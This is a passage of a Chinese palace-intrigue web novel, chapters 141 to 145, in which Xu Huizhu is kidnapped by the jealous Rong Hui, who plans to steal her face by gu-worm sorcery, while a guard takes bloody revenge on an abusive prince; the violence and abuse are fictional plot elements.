暮歌难得脸上浮现笑意,“徐夫人,大将军对你真好,你可知道,这宫里宫外的女子啊,心里都羡慕着你。”
“我家将军说过,身为男子,保护、疼爱心爱女子是天职,哪怕付出生命,也在所不惜。”徐慧珠故意戳到暮歌的痛处,她今日提醒暮歌,不管理由多充分,大皇子李明远没护住她,是事实。
“大将军当真这样说,身为男子,保护疼爱心爱女子,是天职吗?”暮歌的人生里,头一回听到这种话。
偏偏,徐慧珠告诉她,这话出自姜夜沉之口。
徐慧珠的话,在暮歌刚刚坚定的心里,撬开一条裂缝。
厉贵妃告诉她,大皇子殿下为了她,差点失去皇子身份。
厉贵妃也说了,是差一点。
大皇子殿下的皇子身份仍在,人却去了杭州,连看她一眼不曾。
可,她呢,她就得嫁给太子,那个差点打死她的恶魔。
母亲入宫来看望她,未问一句“暮歌你痛吗”,拉着她的手劝说,“
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暮歌,你想想,以你的身份从前哪敢肖想太子妃,哪能高攀太子。”
“再说太子醉酒打你,那……那是意外。”
“不过打一顿,伤很快就会好,却换来太子妃。”
“暮歌,这顿打,太值了。”
“暮歌,忍一忍......”
这一晚,暮歌睁着眼睛,至天明。
徐慧珠还说,“女子,要先学会爱自己,再去爱男人,这才是真正的爱人的能力。”
她怎么能说如此大逆不道的言论?身为女子,除了顺从,还能提这等过分要求?
谁教导的她?
徐慧珠不知暮歌的心理变化,她忙着应付徐桂珍。
荣婷以她的死,激发徐桂珍的慈母情。
“慧珠,你母亲的事,我告诉你。”
“姑母,这声姑母我是看在荣婷的脸面上,叫你的。”
“说吧,你的条件。”
徐桂珍说,“我要荣慧死。”
“这些年,荣家是谋划着重回京城,但荣家在眉县过得很好。”
“是荣慧,不,是徐云晗那个**,一半蛊惑,一半威逼……”
是她高估了徐桂珍。
“姑母……好算计,哪怕荣婷**,也要利用她,榨干净她最后的价值。”
“不知,荣婷可入过姑母的梦境?”
徐桂珍心虚,不敢和徐慧珠对视,“慧珠,你……你何意?我……我听不懂。”
徐慧珠打断,“好啊,既然姑母听不懂,我便将话掰开了揉碎了,说给姑母听。”
“荣慧设计荣家上了坞国皇子察尔通的贼船,如今,察尔通这条船沉了,荣家就想杀荣慧灭口。如
“此一来,荣家不会再受荣慧威胁,也不会有人知晓荣家的秘密。”
“可,荣慧已贵为郡王妃,杀荣慧容易,却会沾染一身腥血。”
“所以,姑母想到一计,便是借刀**。”
“姑母对荣家,可是掏心掏肺的好啊。”
无耻之人,最擅长的是厚着一张脸皮,破罐子破摔。
“是,我是想杀了荣慧,保全荣家。”
“慧珠,我……我宁愿你攥着荣家的把柄,荣慧……她是个彻头彻尾的疯子……”
“慧珠,你母亲的事,难道你不想知道?”
“母亲去了悦城,兄长绝不会说半个字,唯有我……”
第141章:郡王妃差点**
事到如今,徐桂珍还在威胁她。
明明是求人办事,却撑着一副高高在上的姿态,不把任何人放在眼里。
“姑母觉得,我很着急吗?”
“姑母想说就说,不说便罢了。”
“娘亲的往事?”徐慧珠冷笑。
“以我对徐府众人的了解,并不难猜,夫君冷漠,婆母不慈,小姑刻薄,妯娌恶毒……也就是说,娘亲过的很不好。”
“甚至,娘亲的死,凶手左右不过就是那些人。”
“我何必浪费时间去查清谁是真凶,谁是帮凶,不如全送去阴曹地府向娘亲赎罪。”
“姑母以为如何?”
又说,“今日,我叫一声姑母,就当全了我和荣婷的一场情分。”
“日后,姑母就是不相干的荣夫人,这将军府的大门,自是不能轻易进了。”
徐桂珍瞪大眼睛,她在看徐慧珠,又仿佛透过徐慧珠看到那个会甜甜叫她“珍珍”的女子。
珍珍?
珍珍……
熟悉的声音在徐桂珍耳旁响起,“有一年,兄长带回家一名女子,说是他游历时捡来的乞女,名叫林月华。”
……
“林月华容颜绝色,人却是傻的。大婚当晚,洞房传来凄厉的尖叫声,是兄长亲手毁了林月华的容貌……”
徐慧珠一时失神,身体不受控颤抖。
她猜测到结果,却震惊于过程。
令人发指。
那些人,怎么敢?
不,是她高估了人性,那些人本就是恶人啊。
徐慧珠不知,姜夜沉何时来的,拥她入怀,“滚。”
徐桂珍坐着未动,不是她赖在椅子里,实在是她身子软成面团,动弹不得。
她清楚看见姜夜沉眼里的杀意,就算她今日走不出将军府,谁能治杀神的罪?
“大福,扔出去。”
“你去告诉荣传钥,管住自家夫人,滚回眉县窝着。”
大福领命,走向徐桂珍,一脸嫌弃地拽起,“荣夫人,请吧。”
“夫人想做什么,尽可去做,万事有为夫在。”谁会想到,杀神将军,也有温柔的一面。
“将军,我若弑亲?你会不会觉得我冷血无情,猪狗不如?”
“这种脏活累活,为夫来做。无所谓谁的身份,凡是伤了夫人的人,统统该死。”
荣婷的“死”,太子迁怒于谨郡王,郡王府管理混乱,才让荣婷有机会藏匿于假山后面,听到他们的对话。
太子的秘密,听到者,必须得死。
谨郡王去东宫,见不到太子,回府后,便将满腔怒火发泄在荣慧的身上。
主意,是荣慧出的。
还没开始,就莫名失败。
谁的错?
郡王府的主院,凄厉的尖叫声响了一夜,荣慧趴在地上,像一条血淋淋的死狗。
“郡王爷,妾身……妾身了解荣婷,那就是一个心思单纯的傻子,定是徐慧珠鼓动荣婷去偷看太子……”
“郡王爷,怪徐慧珠,对对对,是徐慧珠坏了太子殿下的好事儿啊。”
“重要吗?**!”谨郡王打累了,坐在椅子上,脚踩在荣慧的小腹上,一下又一下。
荣慧觉得腹中的肠子,断成一截又一截。
“重要的是,因为你出的馊主意,太子没能交好将军府不说,反而关系恶化。”
“**,你该死。”
荣慧气笑了,但她痛到笑不出来,明明是太子害死荣婷,如今却来怪她。
呵。
无耻又无能的男人。
“不不不,郡王爷,求您……求您再给妾身一次机会。妾身……妾身已想到法子让姜夜沉为太子殿下所用。”
她怎么忘了,她的手里还攥着一张底牌,足够拿捏徐慧珠的底牌。
“哦?”谨郡王的脚再次用力,“说来听听。”
一刻钟后,谨郡王抬起他的贵脚,离了荣慧的腹部。
“荣慧,你不是一直在查先郡王妃的死因吗?何必费那力气,直接来问本郡王啊。”
“郡王爷,妾身……妾身……”身体有多痛,荣慧越清醒。
“妾身不敢,再也不敢了。”
她毫不怀疑,谨郡王会活生生打死她。
谁能想到,翩翩公子谨郡王其实是一只披着羊皮的恶狼,以殴打“郡王妃”为嗜好。
世人皆赞谨郡王是女子的盼嫁良人,后宅干净,眉县荣家女实在好运。
好运?<
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br>呵,也得有命享受才行。
可怜荣慧被谨郡王打的奄奄一息,她心里恨,恨毒了徐慧珠。
“谨郡王一连十日去东宫面见太子,都吃了闭门羹。只怕,谨郡王不会善罢甘休。”
“人人皆知,谨郡王忠心拥护太子,明面上说谨郡王性情耿直,认准嫡系。他对太子的阴暗心思,知情者极少。”
说来,这世间万物,还真是一物降一物。太子使性子,谨郡王前一瞬对太子伏低做小,下一瞬对郡王妃暴力相向。
果然,疯子才能互相欣赏,惺惺相惜。
徐慧珠问,“皇上可知?”
姜夜沉点头。
背后议论皇族,说到底也是姜夜沉给她的胆量。
徐慧珠便说,“太子私德败坏,才能平庸,胜在正统嫡出身份。”
“大皇子没把太子放在眼里,厉贵妃也能斗得过皇后娘娘,所以,大皇子和厉贵妃忌惮的从来都是皇上。”
“将军,你能看懂皇上吗?”
“皇上对太子不满,又遏制大皇子李的势力发展,皇上在太子和大皇子用的制衡之术,到底为了谁?”
“难道?”
徐慧珠越说越大逆不道,“难道皇上为了自己?”
“集中皇权,妄想长生不老,好长长久久霸占黄金座?”
徐慧珠喃喃道,“不应该啊。”
“皇上该明白的道理,纵观历史长河,帝王追求长生不老,都是假的,落得一场空。”
“我只见过皇上几回,还不能透过现象窥探到本质,万一皇上擅长演戏,他精湛演技骗过所有人。”
“包括将军你?”
又问,“将军,你……绝对信任皇上吗?”
徐慧珠一时忘记,上回见识姜夜沉动怒,是他得到密报,太子那个蠢货竟暗里蛊惑皇后娘娘给皇上下毒,先不说能否成功,太子弑君弑父的恶念,必诛。
第一回,皇后娘娘拒绝的干脆,还打了太子两巴掌。如果太子不死心,第二回、第三回……皇后娘娘的意志能“百毒不侵”吗?
“父亲对我说的最后一句话,就是忠心皇上、信任皇上。”
姜夜沉的父亲?
先北疆王?
第142章:在她面前演什么母女情深
有些事,不宜追根究底。
徐慧珠自知过分,她今日说的这些话,传到皇上耳中,皇上定会误会她在挑拨离间。
莫说当她的“徐夫人”,说不得皇上命曹文来灭口。
这么一想,徐慧珠禁不住打了个冷颤。
“你很冷?”姜夜沉问。
徐慧珠想说,她不冷,她是惜命。
“为夫给你暖暖。”
“啊……姜夜沉,你……你住手。”徐慧珠气自己打不过姜夜沉,不管她反抗,还是半推半就,最终结果就是自己被剥光,任他享用。
新婚之初,他们不算熟,彼此矜持,有所保留,一路摸索,一路试探。
如今,两人的脸皮,厚比城墙。
第二日,徐慧珠起晚了。
“夫人,将军交待,您先回娘家,他忙完去接您。”
今日是徐从德的生辰,徐从德一向低调,每年生辰只摆家宴,整个户部尚书府,唯有老夫人宋氏的生辰宴会大肆操办,不是徐从德孝顺,而是老夫人闹腾的厉害。
徐从德若不顺着,以老夫人蛮横的性子,大抵能坐在尚书府大门前,哭诉徐从德的大不孝。
徐从德生辰,姜夜沉身为女婿,也该携礼登门祝寿。
“夫人,我向大福打听过,说是襄王派人来请将军去一趟皇室宗祠,华山王出事……”
“人,**吗?”徐慧珠问。
金夏能从大福那里打听到消息,便说明是姜夜沉授意。
“奴婢不知。”
等徐慧珠的马车停在户部尚书府大门前,刚下马车,就看到正欲入府的荣慧。
“慧珠姐姐?”
“见过郡王妃。”
气氛冷淡。
她们之间,本就无话可说,无情可叙。
“将军没陪着慧珠姐姐?”荣慧毫不掩饰眼里的失望情绪。
“谨郡王不也是没陪着郡王妃……”徐慧珠注意到,提到谨郡王,荣慧眼里闪烁过一瞬的惧色。
“慧珠姐姐?”荣慧走向徐慧珠,亲昵地挽住徐慧珠的胳膊,贴上热脸,“慧珠姐姐,舅舅说你我姐妹,该亲厚些才是。”
“郡王妃用父亲压我?”徐慧珠挑眉,“那郡王妃可有如实相告父亲,你是谁?”
荣慧脸色大变,假笑道,“慧珠姐姐说笑了,我是荣家长女荣慧,也是郡王妃。”
“这一点,世人皆知啊。”
荣慧相信以察尔通的手段,早已抹平痕迹。
谁去查,她都是荣慧。
别的身份,她自是不认。
她得阻止,不能让徐慧珠在徐从德面前胡说,徐从德那人精明又疑心重,荣家被赶回眉县,她在京城孤立无援,得靠着徐从德这棵大树好乘凉。
“郡王妃,我劝你笑的别太用力,不然,脂粉脱落,就遮不住你脸上的瘀伤。”徐慧珠伸手,假意抚摸荣慧的脸。
荣慧笑容一滞,慌忙后退一步,着急转移话题。
“我只是想为母亲求情,不知母亲做了何事,惹怒慧珠姐姐,吓得父母亲连舅舅的生辰宴都不能参加,急忙回了眉县?”
“不管怎样,求慧珠姐姐看在郡王府的脸面上,饶恕母亲这一回,允他们偶尔来京城小住,也让我尽尽孝心。”
徐慧珠懒得揭穿荣慧,在她面前演什么母女情深。
荣慧这个身份占得久了,真当自己是荣慧了。
徐慧珠推开荣慧缠上来的手,上了台阶,与荣慧保持距离。
她说,“荣夫人说,荣家出孽女,困在坞国皇子察尔通的船上,求将军出手,助荣家清理门户……”
荣慧脸色煞白,差点站立不稳,幸好奴婢圆禾眼疾手快,扶住身子发软的她,“郡王妃?”
“郡王妃,您没事吧?”
荣慧死死抓住圆禾的手臂,威胁道,“圆禾,今日之事,你敢说出去一个字,我死之前,也会先杀了你。”
圆禾吓得就要下跪磕头,却被荣慧训斥,“不准跪,扶我入府。”
“是,郡王妃。”圆禾憋回眼泪,扶着荣慧从正门入府。
一顿家宴,吃的安静。
用完膳,徐从德去了书房,李氏也去忙了。
长辈前脚离开,下一瞬**月就挽住徐慧珠的胳膊,“姐姐,我陪你去花园消消食。”
看向荣慧,**月换了语气,“天色渐晚,郡王妃该回去了吧。”
啪。
“**月,你敢出言不逊、轻视于本妃?”荣慧只觉得手痒难耐,待理智回归,她已扇了**月耳光。
从小到大,她最嫉妒最讨厌最恨的人,**月排在首位。
她是郡王妃,上了玉碟的皇族。
她有何惧?
理由都是现成的—
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—以下犯上。
“你……你敢打我?”**月捂着脸颊,一时忘记反应。
早有丫鬟去请人。
“以下犯上,不打怎能长记性。”
“**月,看来是舅母太娇惯你了,迟早为户部尚书府惹来祸端。”
“赶明我入宫求皇后娘娘,请一位教养嬷嬷,好生教一教你的规矩。”
以荣慧今时今日的身份,这话,她说得,也说不得。
徐慧珠只觉得荣慧疯的严重,哪有宾客打骂主人?
“我徐家贵女的规矩如何,户部尚书府前景怎样,轮不到荣家来操心。”
“荣家,不过是徐家的一门远房亲戚。”
“郡王妃,您是荣家女儿,管得这么宽,谨郡王若是知道……”
荣慧心惊,她刚刚不仅是一时手痒,她……她更忘记了自己的身份。
她是荣慧,徐云晗已死。
“**月,打回去。”徐慧珠说。
“啊?”**月不敢,她的底气来源于李氏,可李氏也得看徐从德的脸色,“姐姐,郡王妃是皇族,能……能打吗?”
“**月,打回去,双倍。”徐慧珠捉住**月的手,手把手教她还击。
啪啪。
两巴掌。
“徐慧珠,**月,你们……你们怎敢?”
“来而不往非礼也,郡王妃只送礼不收礼,岂不是吃亏。”**月打完之后,顿觉神清气爽,她头一回觉得,徐慧珠也能给她满满的安全感。
**月扬起拳头,“怎么?郡王妃还想打,以一对二,打的你满地找牙。哈哈哈……”
李氏先到,看到**月挽着徐慧珠的胳膊,一副嚣张的小雏鸟模样,心稍安。
**月左边脸上的巴掌印清晰可见,但荣慧左右脸颊的红痕更可怖,这么算来,**月没吃大亏。
也得亏有徐慧珠在。
“细雨,去书房告诉老爷一声,这里无事。”
“若老爷问起,就说后宅女子之间拌嘴,说开便欢喜了。”
荣慧一口气憋在胸口处,李氏这是何意?莫说来主持公道,连问不曾问一句,就断清“官司”?
“好好好,这就是户部尚书府的待客之道,本妃涨了见识。”
“你们等着......”
荣慧撂下一句莫名其妙的狠话,怒气冲冲离开。
第143章:她甘愿受虐
荣慧一走,李氏也未多留,将时间留给姐妹俩。
“姐姐,叶侯府的那门亲事……”
**月说话直白,“我就知道,姐姐疼我,才不会眼睁睁看着我跳进叶文瑞那个傻子的火坑。”
“姐姐,你真厉害,在郡王府顺势设计叶文瑞和凝玉公主那一出,就像是月老姻缘线在手,想给谁凑对就给谁凑对。”
“可惜,凝玉公主太能作了,作没了孩子,作没了亲事,逼的叶文瑞远走西疆。”
“唉,我可能脑子有病,竟觉得叶文瑞有点儿可怜,被凝玉公主这样的疯女伤得体无完肤,害得凄凄惨惨……”
徐慧珠无奈,“我若说我什么都没做,你信吗?”
**月头摇的跟拨浪鼓似的,“不信。”
“姐姐,这是五万两银票,娘亲说是谢礼。”
“姐姐要吗?”
银票?
李氏一出手就是五万两,**都这般大方。
徐慧珠当然要了。
她一点儿都不觉得银子烫手。
“要。”
徐慧珠接过装银票的荷包,系在腰间,“替我向母亲说声谢谢。”
姜夜沉派人来禀,公务缠身,不能来接她。
徐慧珠对户部尚书府没多少留恋,和**月说了一会儿话,就坐上马车回将军府。
对她来说,将军府才是她的家。
哐当。
金秋掀开帘子,看到车夫倒地。
“夫人小心。”
待徐慧珠醒来,已是半个时辰后,入眼是荣慧手里拿着一把**,正对着她的脸比划。
“徐慧珠,你醒了?”
这便是荣慧,不,是徐云晗的本来面目。
“郡王妃,你要做什么?杀了我?”徐慧珠万万没想到荣慧疯癫至此,竟敢在京城行凶。
“杀了你?哈哈哈……”荣慧眼神狠厉,“**,你别指望将军救你。听说华山王在宗祠**,证据指向襄王府世子李明博,将军有得忙了。”
难怪姜夜沉不能来接她,华山王突死,却牵涉到襄王府。
**动机存在,欣冉郡主曾在元乐长公主府差点毁了明远公子,为弟报仇,这个理由足够充分。
再说,皇上下令圈禁华山王于宗祠,襄王是皇室宗正,宗祠在襄王的掌管之下。
襄王命李明博行凶,再包装成畏罪**,不该露出破绽才是。
可,如今曝光华山王的死,很明显幕后之人仓促行事,意在**灭口,然后拉襄王府下水……
谁杀了华山王?徐慧珠心里有了猜测。
难道?
不过,华山王的死活,与徐慧珠没多大关系。唯一遗憾的是,她尚未得空送华山王和欣冉郡主父女团聚,竟被旁人抢了先。
现下,稳住眼前的疯子,才是正事。
“将军再忙也会归府,便会发现我不见了。郡王妃,你觉得,有将军和锦衣卫在,会查不到你的头上?”
“只怕不到天明,将军就会来救我。”
荣慧伸出手,本想打徐慧珠的脸,又突然想到什么,止住动作。
“徐慧珠,你告诉我,你凭什么入得将军的眼?你这张寡淡的脸?还是这具无趣的身子?”
“徐慧珠,我若占有你这副皮囊,将军是不是就会爱我疼我宠我?”
荣慧这是要换她的脸,以身替她?
圆禾差点打翻药箱,“郡王妃,奴婢……奴婢技艺不精,不……不敢啊。”
“换脸术是师父的独门绝技,您身体里的蛊虫师父曾养育十年,蛊虫识得师父的气息,若此刻再放一只奴婢饲养的蛊虫,一旦遭遇反噬,您会在一月内经历容颜鼎盛到衰老到死亡的过程。”
圆禾是察尔通留下的帮手,察尔通出事后,只得认荣慧为新主。
啪啪。
“贱婢,我说过,我要徐慧珠的脸皮,我要姜夜沉爱我。”
“给我换脸。”
“不然,你和你的圆石弟弟就**。”
圆禾跪在地上,“奴婢该死,奴婢该死。”
“奴婢为您换脸。”
“奴婢发誓,如果换脸失败,奴婢将死无葬身之地。”
荣慧冷笑,“不,还有你的圆石弟弟。”
“我好,你和圆石弟弟才能活。”
“记住了吗?贱婢。”
圆禾答道,“是,奴婢省的。”
换脸术,她也
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会。
她没坦白的是,那蛊虫由她饲养,每日喂食她的鲜血,同享她的寿命。一旦荣慧遭遇蛊虫反噬,荣慧会死,她也活不成。
她**,留下圆石,谁护着他长大?
圆禾惜命,但圆石才是她的命门。
荣慧恨透徐慧珠的脸,却又不得依赖这张脸。
曾经,她是徐云晗时,自信于自己的绝色容颜,以为凭借容貌和一颗爱慕姜夜沉的痴心,他会对她心动。
徐慧珠算计她,又被宋世茂背刺,还被徐从德卖给宋家,与宋世茂配对阴婚……最后,她彻底沦为察尔通的棋子。
她换了荣慧的脸,以新的身份,新的容颜接近姜夜沉,还是失败了。
她斗不过徐慧珠。
荣慧无惧谨郡王的殴打,她只是不甘心这副身子被谨郡王打坏,影响她抢夺姜夜沉的大计。
再说,谨郡王算个什么东西,哪有资格打她?若换作姜夜沉,她愿日日被他殴打,夜夜受他折磨。
想一想,就万分期待。
那该是怎样的幸福啊。
“圆禾,不必喂徐慧珠麻沸散,就让她睁大眼睛欣赏自己的脸皮被一道一道割下来。”
“她活该受痛。”
“哈哈哈……”
“是。”圆禾不敢多言,她的手抖个不停,身体里的蛊虫感受到她的气息紊乱,开始躁动。
“徐慧珠,天明之前,换脸术就会成型,姜夜沉会如你所愿寻到我,拥我入怀,带我回将军府。”
“明日之后,我就是徐慧珠,就是将军府的徐夫人,就是姜夜沉放在心尖尖疼惜的女子。”
“徐慧珠,我早就跟你说过,姜夜沉是我的。而你,不配站在姜夜沉的身旁,陪他到老。”
荣慧手痒难耐,可惜不能打残徐慧珠的脸,她心里憋着一口浊气,恨不得用这世间最恶毒最脏污的言语攻击徐慧珠,伤的徐慧珠体无完肤才痛快。
圆禾已准备好药箱,先是服下药丸,逼出供养的蛊虫。
失去蛊虫滋养,圆禾的容貌迅速衰败,不到一刻钟,苍老二十岁,脸上生出皱纹,头发白了一半……
“圆禾,你……你?”
第144章:两位疯子挺般配
圆禾的容貌变化,惊吓到荣慧。
“郡王妃莫怕,师父在奴婢体内供养双生蛊虫,如今取出一只,容貌会苍老,身体会虚弱些,休养三两年光景,就会恢复如初。”
圆禾说着,从药箱里拿出一只瓷瓶,倒出所有药丸,吞入腹中。
她心里清楚,这种药丸对身体损害极大,可她得快速恢复力气,为荣慧换脸,而荣慧不会在意她的死活。
圆禾瘫软在地上,“请郡王妃再等奴婢一个时辰……”
一个时辰,对荣慧来说,是煎熬。
对徐慧珠来说,是生机。
“郡王妃想要知道,为何偏偏是我入了姜夜沉的眼,进了他的心?”
“我可以告诉你,但我要求带金秋金冬来,我这个人一向贪图享乐,哪怕到了阴曹地府,也习惯金秋金冬伺候。”
“当然,郡王妃要是好心,也可将金夏抓来,如此一来,我们主仆四人也算团聚。”
“生死同路。”
徐慧珠看了一眼地上的圆禾,说道,“不过,像郡王妃这种不把奴婢当人的主子,是不能感同身受我和三金之间的姐妹情谊。”
姐妹情谊?
圆禾心里苦笑,她是奴,郡王妃是主,怎能生出“姐妹情谊”?
她想到荣慧在将军府小住的那段光景,活泼的金夏,絮叨的金秋,沉静的金冬……她们明明出身为奴,却又活得不像奴。
她何尝不知,三金的底气,是徐慧珠这个主子给的。
荣慧一直不信,徐慧珠是依仗寡淡的皮囊入了姜夜沉的眼,进了姜夜沉的心。
她怀疑这其中定有隐情,她要取而代之,还不能在姜夜沉面前露出破绽,在徐慧珠临死之前,她必须从徐慧珠的嘴巴里撬开秘密。
荣慧没听出徐慧珠的挑拨之意,当然,她丝毫不在意,圆石在她的手里,圆禾就是一条听话又忠心的狗。
她一声令下,让狗咬人,狗就得露出獠牙。让狗趴着,狗就得一边汪汪叫一边摇晃尾巴。
“蕴泽?”
荣慧声落,蕴泽左右手抓着两名女子,扔到徐慧珠的脚下。
“她们中了**,一时半会儿死不了。”
“徐慧珠,你最好如实说,若敢骗我,我就让蕴泽当着你的面,对你的好丫鬟,先玷污再剁成肉块……”
蕴泽,谨郡王的心腹护卫,还是谨郡王的暗卫队长。
“郡王妃好手段。”
“我倒是好奇,待郡王妃如愿取代我,如何安排这位蕴泽护卫?做你见不得光的情人?”
“蕴泽护卫,郡王妃是不是告诉你,她的心给姜夜沉,她的身体给你……有朝一日,你的血脉还可能继承将军府,只要你再为她弑主,杀了谨郡王……”
蕴泽下意识接话,“你怎么知道?”
这么简单,让她猜对了呢。
“郡王妃从凝玉公主那里得到的灵感吧。当初,凝玉公主利用叶文瑞时,用的也是这招,或者说,本就是郡王妃想出的妙计……”
“蕴泽,想一想叶文瑞的下场。”
“现在就想,还不算太迟。”
荣慧回过神,终是没忍住,一巴掌扇在徐慧珠的脸上。
徐慧珠的嘴角破裂流血。
“徐慧珠,你闭嘴。”
挑拨离间者,向来偷摸为之,哪有像徐慧珠这般,当面挑拨。
“不,不要啊,郡王妃。”开口阻止的是圆禾。
所谓换脸术,先是割下一张完整无暇的脸皮,接着覆在另一张脸上,放出蛊虫,任由蛊虫爬上脸颊,一口一口“缝合”。
最后,蛊虫自皮肤钻入身体里,日夜滋养脸皮,直到完全融合。
一次换脸术,可维持容貌鼎盛十年,代价是减寿十年。
“徐-慧-珠!”荣慧恨不能一**捅进徐慧珠的心口,再搅烂她的心脏。
她享受算计人的快感,却屡次败在徐慧珠的手里。
这等耻辱?
她绝不承认自己是技不如人。
“蕴泽,剥光这对姐妹花的衣裙……”荣慧打不得徐慧珠,骂不过徐慧珠,那就让她见识点别的。
“荣慧?”蕴泽逼近荣慧,眼里并无恭敬,只有男人意欲征服女子的贪心,“你利用完我,便会一脚将我踢开?”
“呵,我早该知道,蛇蝎美人有剧毒,碰了会上瘾,还会致命。”
蕴泽既然敢叛主,他的胆量大破天,
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荣慧利用他,他利用荣慧,本就心怀鬼胎的两人凑在一起,不必徐慧珠挑拨离间,信任也是岌岌可危。
他掐住荣慧的脖子,狠狠咬住她的唇,直到血腥味蔓延口腔,直到荣慧几欲窒息,他才放过。
“谨郡王,我会杀。”
“但你,荣慧,妄想卸磨杀驴。”
“否则,我们一同下地狱。”
蕴泽说完,懒得理会屋内众人,转身离开。
徐慧珠松了一口气,万幸蕴泽不那么听话,金秋金冬逃过一劫。
“疯子。”荣慧取出丝帕擦拭嘴唇的血,恨恨骂道。
徐慧珠没忍住,笑出声。
“**,你笑什么?”荣慧觉得徐慧珠是她的天选克星,她真正意义上算计徐慧珠,就是蛊惑苗耀祖以卑劣手段求娶徐慧珠。
后来,苗耀祖莫名其妙死在母亲的床上,紧接着她布局的棋子,一颗颗成为废棋,非死即残。
“蕴泽是疯子,你也是疯子,其实,两位挺般配的啊,宜天长地久在一起。”
“徐慧珠,你……”荣慧忽然阴森森地笑了。
她举起**,对准金秋的脸,恶狠狠地威胁,“徐慧珠,你再说一句废话,我就划花这贱婢的脸。”
徐慧珠自是清楚,要确认金秋金冬安然无恙,便会将两人置于危险之中。
“好好好,我说我说。”
“我之所以能入将军的眼,一是,我会医术,为将军治疗隐疾。二是,将军另患有入眠困难症,普神医熬制的安神汤只能让将军每日睡一个时辰,而我恰好是将军的药,能助将军入眠的药。”
“将军离不得我。”
似乎是印证了荣慧的想法,“果然与皮囊无关。”
一个大胆的念头滋生,她能不能同时占据徐慧珠的皮囊和灵魂?由内而外,完全取代徐慧珠,也彻底变成徐慧珠……
“蕴泽,速速准备,今晚离京,我们去南疆,入坞国。”荣慧当下决定,去坞国寻找察尔通,只有与察尔通合作,她才能实现心中所想。
谁也想不到,荣慧**徐慧珠,人就藏在郡王府里的一间密室里。
荣慧的胆子,也大破天......
第145章:郡王爷,疼吗?
荣慧和蕴泽早就私下苟合,在谨郡王忙活着杀华山王灭口以消太子怒火之时,两人里应外合,暗里掌控郡王府。
蕴泽答应荣慧去坞国,他本就不信荣慧,之所以轻易被荣慧勾引,又表现出甘愿被荣慧利用,一是贪图荣慧的美色,也因荣慧五分像了那人。二是,利用荣慧搭上去坞国的道。
不过,在离开之前,他和谨郡王的账,该清算了。
书房里,谨郡王像一条血淋淋的狗,躺在地上。
偶尔身体抽动一下,证明他还活着。
不,暂且活着罢了。
谨郡王的伤,是蕴泽一拳一拳打的,他面无表情,一边打一边问,“郡王爷,疼吗?”
“那一次,你打了玉珠一夜,玉珠的身上,没一块完好的肌肤,骨头尽断。”
“还有孩子,也被你活生生踹死,一尸两命啊,血流尽才断气。”
“郡王爷,你说,一个人身体里怎会流出那么多的鲜血。”
“对,就在这间书房里,你打死玉珠和她腹中的孩子,还下令让我把玉珠的尸身扔到乱葬岗,任野狗野狼分食。”
“郡王爷,有没有人骂过你,说你是畜生?不,你比畜生还不如。”
“玉珠是郡王妃啊,你怎么能……”
谨郡王痛到说不出话,想他尊贵半生,哪料到一朝不慎丧命于贱奴的手里。
他不甘心。
难怪?
难怪当初他打死察玉珠那个**,宁愿死也不供出奸夫。
原来是蕴泽,他身边的一条狗。
“大哥,锦衣卫往郡王府来了,再不走就来不及了。”一名黑衣人来禀,蕴泽刚好挑完谨郡王的手脚筋,一如当年谨郡王对待察玉珠。
谨郡王在昏死前,听到蕴泽说,“我给姜夜沉准备了一份厚礼,郡王爷,有人会送你上路,待你到了阴曹地府,要跪着向玉珠赎罪。”
他看到蕴泽打开书架上的机关,黑衣人扛着两名女子,消失在暗道里。
那条暗道,通往城外的别院……
“蕴泽……”
荣慧是想带走徐慧珠,可蕴泽怎会听她的话,要么**,要么跟他逃。
徐慧珠在郡王府的消息,也是蕴泽透露给姜夜沉。
他救徐慧珠一命。
蕴泽随察玉珠来到京城,一步一步取得谨郡王的信任,成为心腹,可他心中敬仰的英雄当属姜夜沉。
他不愿,也不敢与姜夜沉为敌。
这些,蕴泽自不会告诉荣慧。
他向姜夜沉奉上足够的诚意,以换取他**南疆,回坞国。
他本是坞国人,察玉珠和腹中孩子的死,谨郡王是凶手,察尔通也是凶手。
血海深仇,他得报。
反正,他孑身一人,除了一条烂命,没什么可失去的了。
徐慧珠被姜夜沉禁足。
姜夜沉头一回越俎代庖,处置徐慧珠的丫鬟,一年俸银加上二十板子。
他纯属故意,打金夏给徐慧珠看。
“夫人想让为夫年纪轻轻就守寡?”
徐慧珠赶忙服软,“怎会?让美男子守寡,岂不是暴殄天物,我是‘怜香惜美’之人,干不出那样的事儿。”
姜夜沉瞪了徐慧珠一眼,明明全错,还好意思“胡搅蛮缠”。
“疯子发疯,始料未及。”
“我没想到荣慧手段厉害,暗地里收服蕴泽,也是豁得出去,堂堂郡王妃竟以身勾引谨郡王的心腹护卫。”
“当蕴泽放过金秋金冬时,我就明白他的意思,明面上是荣慧利用蕴泽**我,意欲换走我的脸。其实,是蕴泽故意制造这场**,寻求与将军的合作。”
“将军,我已经在努力拖延时间,等你来救。”
道理说的一套一套,姜夜沉也不知,是气她,还是气自己。
他真怕……失去她。
姜夜沉冷哼一声,表达自己的不满,“从今日起,你的身边明着有金夏保护,暗里有橘红相随,她是你的影子。”
“好,我听将军的话。”
其实,徐慧珠自己也吓到了,她虽会武功,但也有防不住阴招,抵不过一队高手的时候。
这一回,就是教训。
如果当时金夏在,就算打不过,也能以最快的速度求救。
万幸的是,蕴泽本无杀她之
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意,但她知道,并不是每回都幸运。
这几日,徐慧珠被禁足,姜夜沉却忙得早出晚归,故意禁止任何消息传到后院。
好不容易盼到姜夜沉得空,她有一万个问题,求他答疑解惑。
“蕴泽留下证据,其中一项,华山王以谨郡王的秘密,威胁谨郡王放他回锦绣城,谨郡王杀华山王灭口,推到襄王府世子李明博身上。”
“只因,李明博如今掌管禁卫军,太子明里暗里拉拢,却被拒绝。”
“既然不为太子所用,那就借机毁了李明博的前程,再换个识相的人坐上禁卫军副统领的位置。”
“这时,再传出郡王妃和护卫为情私奔……”
徐慧珠好奇地问,“荣慧**我,这件事情,将军又如何向皇上解释的?”
姜夜沉并未直接回答,而是说起蕴泽这个人。
“十年前,坞国皇子察尔通护送他的妹妹察玉珠来安国和亲,皇上赐婚谨郡王和察玉珠,缔结两国之好。”
“后来,察玉珠的身份意外曝光,她根本不是坞国公主,而是坞国一名小官的女儿,因长得貌美,入了察尔通的眼,被察尔通训练成一枚棋子。”
“察玉珠的目标,原本是我……”
又说,“蕴泽,曾是察玉珠的邻居阿兄,两人青梅竹马,本有意结亲。奈何造化弄人……”
“异国他乡,两人相依为命,旧情复燃,珠胎暗结,欲合谋害死谨郡王。不成想,谨郡王意外撞破察玉珠孕吐,逼问奸夫是谁?”
